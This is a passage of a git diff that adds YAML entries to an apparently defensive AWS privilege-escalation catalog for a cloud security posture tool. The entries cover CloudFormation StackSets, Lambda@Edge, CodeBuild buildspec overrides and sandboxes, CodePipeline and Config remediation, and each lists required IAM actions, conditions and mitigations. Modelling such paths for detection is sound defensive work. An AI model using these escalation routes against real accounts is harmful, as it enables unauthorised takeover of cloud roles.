https://docs.aws.amazon.com/cloudformation-cli/latest/userguide/resource-type-develop.html + notes: The evaluator requires PutObject and GetObject on the same object in a recorded S3 bucket, plus a bound CreateResource or stack operation. SetTypeConfiguration alone cannot invoke a Hook. Extension roles trust resources.cloudformation.amazonaws.com, not cloudformation.amazonaws.com; ActivateType of public extensions is separate because the source does not author that handler. + +- id: aws-cloudformation-service-managed-stackset-org-members + provider: aws + service: cloudformation + title: Deploy a service-managed StackSet into organization member accounts + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformation-stacksets + source_revision: b587e6bd26 + summary: A management-account principal can make CloudFormation run IAM resource operations in a member account by deploying a service-managed StackSet with its own template. + requires: + all_of: + - action: cloudformation:CreateStackSet + resource: "*" + target: + kind: aws_account_admin + selector: + any_principal_in_scope: true + org_member_account: true + scope: org + aggregate_as: "Member accounts reachable through service-managed StackSets" + outcome: scope_control + conditions: + - id: trusted_access_enabled + description: Trusted access between CloudFormation StackSets and AWS Organizations must be enabled (it creates the stacksets-exec execution roles with administrator access in member accounts). + - id: service_managed_permission_model + description: The new StackSet must use the SERVICE_MANAGED permission model and target the member account's organizational unit in CreateStackInstances. + - id: delegated_administrator + description: A registered StackSets delegated administrator (CallAs DELEGATED_ADMIN) can also deploy, but this entry draws edges only from the management account. + - id: management_account_not_targeted + description: Service-managed StackSets never deploy to the management account; member-account SCPs still constrain the template's resources. + preconditions: + - source_in_org_management_account + - target_in_other_account + - cloudformation_service_managed_stackset_targetable + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict cloudformation:CreateStackSet, CreateStackInstances and UpdateStackSet in the management and delegated-administrator accounts to deployment roles, keep the management account free of workloads, and review delegated StackSets administrators and auto-deployment OUs. + references: + - https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/stacksets-orgs-activate-trusted-access.html + - https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/stacksets-orgs-delegated-admin.html + notes: Complements aws-cloudformation-passrole-stackset, which models self-managed StackSets. No iam:PassRole is involved. The evaluator requires recorded enabled Organizations access, the member account's OU, and CreateStackInstances permission on the same generated StackSet, its OU target and the IAM role resource type. Template effects and target-Region availability remain conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/cloudfront.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudfront.yaml new file mode 100644 index 0000000000..47d4a58628 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudfront.yaml @@ -0,0 +1,65 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CloudFront privilege escalation techniques. +# Source: hacktricks-cloud aws-cloudfront-privesc/README.md. + +- id: aws-cloudfront-lambda-edge-passrole + provider: aws + service: cloudfront + title: Associate a new Lambda@Edge function with a passed role to a distribution + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md#lambdacreatefunction-lambdapublishversion-iampassrole--cloudfrontupdatedistribution + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of passable roles trusting both lambda.amazonaws.com and edgelambda.amazonaws.com + by running a Lambda@Edge function it controls on a distribution it can update. + requires: + all_of: + - action: lambda:CreateFunction + resource: arn:{source.partition}:lambda:us-east-1:{source.account}:function:* + - action: lambda:PublishVersion + resource: arn:{source.partition}:lambda:us-east-1:{source.account}:function:* + - action: lambda:GetFunction + resource: arn:{source.partition}:lambda:us-east-1:{source.account}:function:*:* + - action: lambda:EnableReplication + resource: arn:{source.partition}:lambda:us-east-1:{source.account}:function:*:* + - action: lambda:DisableReplication + resource: arn:{source.partition}:lambda:us-east-1:{source.account}:function:*:* + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: lambda.amazonaws.com + - action: cloudfront:UpdateDistribution + resource: '*' + target: + kind: aws_role + selector: + trust_allows_service: + - lambda.amazonaws.com + - edgelambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting lambda and edgelambda in {account} + outcome: workload_execution + preconditions: + - cloudfront_edge_distribution_and_service_roles + conditions: + - id: first_time_slr + description: The first Lambda@Edge association in an account also needs iam:CreateServiceLinkedRole. + - id: us_east_1 + description: The function must be created in us-east-1. + - id: same_version_and_distribution + description: The Lambda actions must cover one new function and its numbered version, and the source must be able to update a distribution that will invoke it. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Lambda@Edge roles and cloudfront:UpdateDistribution. + references: + - https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-edge-permissions.html + notes: trust_allows_service given as a list means every listed principal must be trusted. Roles trusting only + lambda.amazonaws.com are reachable through the generic Lambda PassRole technique (lambda.yaml) instead. The + Lambda@Edge permissions page writes replication permissions with trailing wildcards; the concrete actions in the + Service Authorization Reference are lambda:EnableReplication and lambda:DisableReplication. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/cloudwatch.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudwatch.yaml new file mode 100644 index 0000000000..2195395342 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudwatch.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon CloudWatch privilege escalation techniques. +# Source: hacktricks-cloud aws-cloudwatch-omni-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/codeartifact.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/codeartifact.yaml new file mode 100644 index 0000000000..4855f3d5e3 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/codeartifact.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS codeartifact privilege escalation techniques. +# Added by the HackTricks privesc completeness audit (rev 6fb9ac51fd). diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/codebuild.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/codebuild.yaml new file mode 100644 index 0000000000..d6ed68dfb0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/codebuild.yaml @@ -0,0 +1,334 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CodeBuild privilege escalation techniques. +# Source: hacktricks-cloud aws-codebuild-privesc/README.md. + +- id: aws-codebuild-startbuild-attached-role + provider: aws + service: codebuild + title: Start a build of an existing project with an overridden buildspec + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildstartbuild--codebuildstartbuildbatch + source_revision: 171e422299 + summary: The source can obtain the privileges of the service role of an existing CodeBuild project by starting a build (or build batch) with build commands it controls. + requires: + all_of: [] + any_of: + - - action: codebuild:StartBuild + resource: "{target.attached_resource_arn}" + request_context: + codebuild:source.buildspec: | + version: 0.2 + phases: + build: + commands: + - aws sts get-caller-identity + - - action: codebuild:StartBuildBatch + resource: "{target.attached_resource_arn}" + request_context: + codebuild:source.buildspec: | + version: 0.2 + batch: + build-list: + - identifier: run + phases: + build: + commands: + - aws sts get-caller-identity + target: + kind: aws_role + selector: + attached_to_service: codebuild + scope: same_account + aggregate_as: "Service roles of CodeBuild projects the source can start in {account}" + preconditions: + - codebuild_existing_project_buildspec_override + conditions: + - id: override_available + description: StartBuild accepts buildspec, source and environment-variable overrides without extra permissions; StartBuildBatch needs a batch service role able to start child builds. + - id: runnable_project + description: The project must be able to start a build and reach the attacker-controlled inline buildspec. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict codebuild:StartBuild/StartBuildBatch to pipelines and keep project service roles least-privileged. + references: + - https://docs.aws.amazon.com/codebuild/latest/APIReference/API_StartBuild.html + notes: The selected build action applies to the same project carrying the target role. Environment-variable overrides (StartBuild Env Var Override subsection) are a variant of the same edge. + +- id: aws-codebuild-startcommandexecution + provider: aws + service: codebuild + title: Run a command in a running CodeBuild sandbox + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildstartcommandexecution--execute-in-a-running-sandbox + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service role of a CodeBuild project that has a running sandbox + it can send commands to. + requires: + all_of: + - action: codebuild:StartCommandExecution + resource: '{target.codebuild_running_sandbox_arn}' + target: + kind: aws_role + selector: + attached_to_service: codebuild_sandbox + scope: same_account + aggregate_as: Service roles of CodeBuild projects with sandboxes covered by codebuild:StartCommandExecution + in {account} + outcome: workload_execution + preconditions: + - codebuild_running_sandbox_command + conditions: + - id: running_sandbox + description: A sandbox must be running for the project (or the source must also hold codebuild:StartSandbox). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict sandbox actions and stop idle sandboxes. + references: [] + notes: No iam:PassRole, StartBuild or UpdateProject is needed. The evaluator checks StartCommandExecution on the exact ARN of a recorded running sandbox using the target role. + + +- id: aws-codebuild-startsandboxconnection + provider: aws + service: codebuild + title: Open an interactive Session Manager shell in a running CodeBuild sandbox + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildstartsandboxconnection--open-an-interactive-shell-in-a-running-sandbox + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service role of a CodeBuild project that has a running sandbox + by opening an interactive shell inside the sandbox container. + requires: + all_of: + - action: codebuild:StartSandboxConnection + resource: '{target.codebuild_running_sandbox_arn}' + target: + kind: aws_role + selector: + attached_to_service: codebuild_sandbox + scope: same_account + aggregate_as: Service roles of CodeBuild projects with sandboxes covered by codebuild:StartSandboxConnection + in {account} + outcome: workload_execution + preconditions: + - codebuild_running_sandbox_connection + conditions: + - id: running_sandbox + description: A sandbox must be running for the project and its ID known to the source. + - id: ssm_agent_in_image + description: The sandbox image must have a working SSM Agent and the project configuration must allow CodeBuild + to start the Session Manager session. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope codebuild:StartSandboxConnection to exact sandbox ARNs of trusted operators and stop idle sandboxes. + references: + - https://docs.aws.amazon.com/codebuild/latest/APIReference/API_StartSandboxConnection.html + notes: Caller-side ssm:StartSession and iam:PassRole are not required. The evaluator checks StartSandboxConnection on the exact ARN of a recorded running sandbox using the target role. + + +- id: aws-codebuild-passrole-createproject + provider: aws + service: codebuild + title: Create a CodeBuild project with a passed service role and run it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#iampassrole-codebuildcreateproject-codebuildstartbuild--codebuildstartbuildbatch + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting codebuild.amazonaws.com by creating and running a project with that service role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: codebuild.amazonaws.com + - action: codebuild:CreateProject + resource: arn:{source.partition}:codebuild:*:{source.account}:project/* + bind: new_project + any_of: + - - action: codebuild:StartBuild + resource: arn:{source.partition}:codebuild:*:{source.account}:project/* + bind: new_project + - - action: codebuild:StartBuildBatch + resource: arn:{source.partition}:codebuild:*:{source.account}:project/* + bind: new_project + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting codebuild.amazonaws.com in {account}" + outcome: workload_execution + preconditions: + - codebuild_new_project_role_and_build + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict this. + - id: same_new_project + description: CreateProject and the chosen build action must cover one available project name in the same Region. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on CodeBuild service roles and limit codebuild:CreateProject. + references: [] + notes: "" + +- id: aws-codebuild-passrole-updateproject + provider: aws + service: codebuild + title: Change a CodeBuild project's service role and run it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#iampassrole-codebuildupdateproject-codebuildstartbuild--codebuildstartbuildbatch + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting codebuild.amazonaws.com by assigning them to an existing project and running it. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: codebuild.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting codebuild.amazonaws.com in {account}" + outcome: workload_execution + preconditions: + - codebuild_existing_project_role_and_build + conditions: + - id: existing_project + description: At least one existing project must be covered by both UpdateProject and StartBuild or StartBuildBatch; batch mode also needs a batch role able to start child builds. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on CodeBuild service roles and codebuild:UpdateProject. + references: [] + notes: "" + +- id: aws-codebuild-updateproject-attached-role + provider: aws + service: codebuild + title: Change an existing CodeBuild project's build definition and run it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildupdateproject-codebuildstartbuild--codebuildstartbuildbatch + source_revision: 171e422299 + summary: The source can obtain the privileges of the service role of an existing project by changing its buildspec and starting a build. + requires: + all_of: + - action: codebuild:UpdateProject + resource: "{target.attached_resource_arn}" + request_context: + codebuild:source.buildspec: | + version: 0.2 + phases: + build: + commands: + - aws sts get-caller-identity + any_of: + - - action: codebuild:StartBuild + resource: "{target.attached_resource_arn}" + request_context: + codebuild:source.buildspec: + absent: true + - - action: codebuild:StartBuildBatch + resource: "{target.attached_resource_arn}" + request_context: + codebuild:source.buildspec: + absent: true + target: + kind: aws_role + selector: + attached_to_service: codebuild + attached_resource_covered_by: codebuild:UpdateProject + scope: same_account + aggregate_as: "Service roles of CodeBuild projects covered by codebuild:UpdateProject in {account}" + preconditions: + - codebuild_existing_project_update_buildspec + conditions: + - id: project_build_path + description: UpdateProject must permit a buildspec change, and the project must be able to run the changed buildspec with its existing service role; batch mode needs a batch role able to start child builds. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict codebuild:UpdateProject to administrators. + references: [] + notes: This path can remain when StartBuild buildspec overrides are blocked, because UpdateProject changes the stored buildspec and StartBuild can run it without an override. + +- id: aws-codebuild-startsandbox-exec + provider: aws + service: codebuild + title: Start a CodeBuild sandbox for a project and run commands in it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildstartcommandexecution--execute-in-a-running-sandbox + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service role of an existing CodeBuild project by starting a sandbox for it and running commands or opening a shell in that sandbox. + requires: + all_of: + - action: codebuild:StartSandbox + resource: "{target.attached_resource_arn}" + any_of: + - - action: codebuild:StartCommandExecution + resource: "{target.codebuild_sandbox_arn}" + - - action: codebuild:StartSandboxConnection + resource: "{target.codebuild_sandbox_arn}" + target: + kind: aws_role + selector: + attached_to_service: codebuild + trust_allows_service: codebuild.amazonaws.com + attached_resource_covered_by: codebuild:StartSandbox + scope: same_account + aggregate_as: "Service roles of CodeBuild projects covered by codebuild:StartSandbox in {account}" + outcome: workload_execution + conditions: + - id: sandbox_starts + description: The selected project must be able to start a sandbox and reach a running state before a command or connection can be opened. + - id: ssm_agent_in_image + description: The interactive-shell alternative needs a working SSM Agent in the sandbox image and a project configuration that lets CodeBuild start the Session Manager session. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict codebuild:StartSandbox, StartCommandExecution and StartSandboxConnection to trusted operators on exact projects and keep project service roles least-privileged. + references: + - https://docs.aws.amazon.com/codebuild/latest/APIReference/API_StartSandbox.html + notes: Removes the running-sandbox runtime prerequisite of aws-codebuild-startcommandexecution and aws-codebuild-startsandboxconnection; the page states the caller of those needs no StartSandbox only when a sandbox is already running. + +- id: aws-codebuild-plaintext-env-credential + provider: aws + service: codebuild + title: codebuild:BatchGetProjects / BatchGetBuilds + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildbatchgetprojects-codebuildbatchgetbuilds--read-build-environment-values + source_revision: 57bd5c07df + summary: Read a verified usable credential from a plaintext CodeBuild environment value. + requires: + all_of: [] + any_of: + - - action: codebuild:BatchGetProjects + resource: '*' + - - action: codebuild:BatchGetBuilds + resource: '*' + target: + kind: aws_user + selector: + aws_challenge_fact: aws-codebuild-plaintext-env-credential + scope: same_account + outcome: credentials + grants: + - Exact IAM user authenticated by a reviewed usable access key in the named resource + conditions: + - id: exact_credential_subject_resource + description: A reviewed evidence record must bind the source IAM principal, exact readable resource + and action, a read and authentication as the named IAM user, and an exact action and resource denied + to the source but allowed with that key; the source must hold effective read permission. + confidence: conditional + severity: high + mitigation: Restrict the named operation to trusted administrators and review downstream grants. + references: + - https://docs.aws.amazon.com/codebuild/latest/APIReference/Welcome.html + notes: Only a direct IAM user access key is modeled. STS and application sessions remain held because + their effective rights may be narrower than the role or application identity. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/codecommit.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/codecommit.yaml new file mode 100644 index 0000000000..d7b324a9c7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/codecommit.yaml @@ -0,0 +1,9 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CodeCommit privilege escalation techniques. +# Source: hacktricks-cloud aws-codecommit-pipeline-source-privesc/README.md (rev 171e422299). +# Uses {target.consumer_input_arn} and consumer_input_writable_via (see codepipeline.yaml S3 source entry). diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/codeconnections.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/codeconnections.yaml new file mode 100644 index 0000000000..6c3063ab93 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/codeconnections.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CodeConnections (CloudFormation Git sync) privilege escalation techniques. +# Source: hacktricks-cloud aws-codeconnections-privesc/README.md (rev 171e422299). diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/codedeploy.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/codedeploy.yaml new file mode 100644 index 0000000000..4b865815ba --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/codedeploy.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CodeDeploy privilege escalation techniques. +# Source: hacktricks-cloud aws-codedeploy-privesc/README.md. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/codepipeline.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/codepipeline.yaml new file mode 100644 index 0000000000..ec1c8fc61a --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/codepipeline.yaml @@ -0,0 +1,137 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CodePipeline privilege escalation techniques. +# Source: hacktricks-cloud aws-codepipeline-privesc/README.md. + +- id: aws-codepipeline-passrole-createpipeline-codebuild + provider: aws + service: codepipeline + title: Create a pipeline and CodeBuild project using an S3 source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#iampassrole-codepipelinecreatepipeline-codebuildcreateproject-codepipelinestartpipelineexecution + source_revision: 171e422299 + summary: The source may obtain a CodeBuild role's privileges by creating a project and pipeline, placing a source ZIP in S3, and starting the pipeline. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + aggregate_as: "CodeBuild roles reachable through new S3 sourced pipelines in {account}" + preconditions: + - codepipeline_new_s3_project_route + conditions: + - id: passable_pipeline_role + description: The source must pass the target to CodeBuild and a pipeline role to CodePipeline. That pipeline role must be able to start the new project. + - id: readable_source + description: A versioned S3 bucket in the pipeline Region must accept a ZIP source object, and the pipeline and build roles must be able to use the artifact store. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict who can pass CodeBuild roles and who can create pipelines and projects with those roles. + references: + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-S3.html + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-CodeBuild.html + notes: This entry validates the S3 source path. Other source providers require their own source and artifact authorization checks. + +- id: aws-codepipeline-passrole-createpipeline-codebuild-codecommit + provider: aws + service: codepipeline + title: Create a pipeline and CodeBuild project using a CodeCommit source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#iampassrole-codepipelinecreatepipeline-codebuildcreateproject-codepipelinestartpipelineexecution + source_revision: 171e422299 + summary: The source may obtain a CodeBuild role's privileges by creating a project and pipeline that runs a recorded CodeCommit branch or one it can push. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + aggregate_as: "CodeBuild roles reachable through new CodeCommit sourced pipelines in {account}" + preconditions: + - codepipeline_new_codecommit_project_route + conditions: + - id: passable_pipeline_role + description: The source must pass the target to CodeBuild and a pipeline role to CodePipeline. The pipeline role must be able to start the new project. + - id: available_source + description: A recorded branch or a branch the source can push must be available. The pipeline role must read and archive the repository into an artifact bucket that the build role can read. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict who can pass CodeBuild roles and who can create pipelines and projects with those roles. + references: + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-CodeCommit.html + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-CodeBuild.html + notes: The ZIP output format uses the pipeline role to archive the repository and does not require the build role to clone it. + +- id: aws-codepipeline-passrole-createpipeline-codebuild-ecr + provider: aws + service: codepipeline + title: Create a pipeline and CodeBuild project using an ECR source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#iampassrole-codepipelinecreatepipeline-codebuildcreateproject-codepipelinestartpipelineexecution + source_revision: 171e422299 + summary: The source may obtain a CodeBuild role's privileges by creating a project and pipeline that uses a recorded tagged ECR image as its source. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + aggregate_as: "CodeBuild roles reachable through new ECR sourced pipelines in {account}" + preconditions: + - codepipeline_new_ecr_project_route + conditions: + - id: existing_image + description: An ECR repository must contain a tagged image the pipeline role can describe, and the resulting source artifact must be readable by the build role. + - id: passable_pipeline_role + description: The source must pass the target to CodeBuild and a pipeline role to CodePipeline, and that pipeline role must start the new project. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict who can pass CodeBuild roles and who can create pipelines and projects with those roles. + references: + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-ECR.html + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-CodeBuild.html + notes: The ECR source provides an imageDetail.json artifact; the controlled buildspec is supplied when creating the project. + +- id: aws-codepipeline-updatepipeline-codebuild-updateproject + provider: aws + service: codepipeline + title: Change a pipeline's CodeBuild project and run the pipeline + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codebuildupdateproject-codepipelineupdatepipeline-codepipelinestartpipelineexecution + source_revision: 171e422299 + summary: The source may obtain the privileges of a CodeBuild role by changing the buildspec of a project used by a pipeline and starting that pipeline. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + aggregate_as: "CodeBuild roles reachable through configured pipelines in {account}" + preconditions: + - codepipeline_existing_project_update_buildspec + conditions: + - id: pipeline_can_start_project + description: Configured sources must produce every build input, the action must use the project's buildspec, and the pipeline or action role must be able to start the exact project. Batch builds and build role overrides add requirements. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict who can change buildspecs and start pipelines that use privileged CodeBuild roles. + references: + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-CodeBuild.html + notes: The route uses an existing pipeline and project, so UpdatePipeline is unnecessary. AWS does not let a pipeline change its service role after creation. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/cognito.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/cognito.yaml new file mode 100644 index 0000000000..5a985443d0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/cognito.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Cognito privilege escalation techniques. +# Source: hacktricks-cloud aws-cognito-privesc/README.md. + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/config.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/config.yaml new file mode 100644 index 0000000000..3a7cc0ed1a --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/config.yaml @@ -0,0 +1,50 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Config privilege escalation techniques. +# Source: hacktricks-cloud aws-config-privesc/README.md (rev 171e422299). + +- id: aws-config-passrole-automatic-remediation + provider: aws + service: config + title: Attach an automatic remediation that runs an Automation document as a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#privilege-escalation-through-automatic-remediation + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting ssm.amazonaws.com by attaching an automatic remediation that runs its own Automation document as that role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: config:PutRemediationConfigurations + resource: "*" + - action: ssm:CreateDocument + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ssm.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting ssm.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: noncompliant_rule + description: A Config rule must report a non-compliant resource (an existing rule, or config:PutConfigRule), with the configuration recorder running; config:StartConfigRulesEvaluation only speeds it up. + - id: automatic_mode + description: Only Automatic=true remediation runs through AWSServiceRoleForConfigRemediation as the passed role and checks iam:PassRole; manual remediation runs as the initiating principal and gives nothing extra. The service-linked role must exist or the source needs iam:CreateServiceLinkedRole. + - id: document_reuse + description: Reusing an existing Automation document that performs a useful privileged step removes the need for ssm:CreateDocument (not modelled; a false negative). + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict config:PutRemediationConfigurations and iam:PassRole on Automation roles (iam:PassedToService=ssm.amazonaws.com) to compliance administrators, and restrict ssm:CreateDocument. + references: + - https://docs.aws.amazon.com/config/latest/developerguide/remediation.html + - https://docs.aws.amazon.com/config/latest/developerguide/setup-autoremediation.html + notes: Automatic remediation works even when the source is explicitly denied ssm:StartAutomationExecution. The classic config:PutRemediationConfigurations + iam:PassRole subsection is covered by this entry. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/connect.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/connect.yaml new file mode 100644 index 0000000000..7698b51818 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/connect.yaml @@ -0,0 +1,9 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Connect application-plane privilege escalation techniques (aws_service_plane_admin targets). +# Source: hacktricks-cloud aws-connect-privesc/README.md (rev 171e422299). +# Connect instances, users and security profiles are not collected: every edge is one unresolved placeholder per account. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/controltower.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/controltower.yaml new file mode 100644 index 0000000000..326a99fc78 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/controltower.yaml @@ -0,0 +1,8 @@ +# AWS 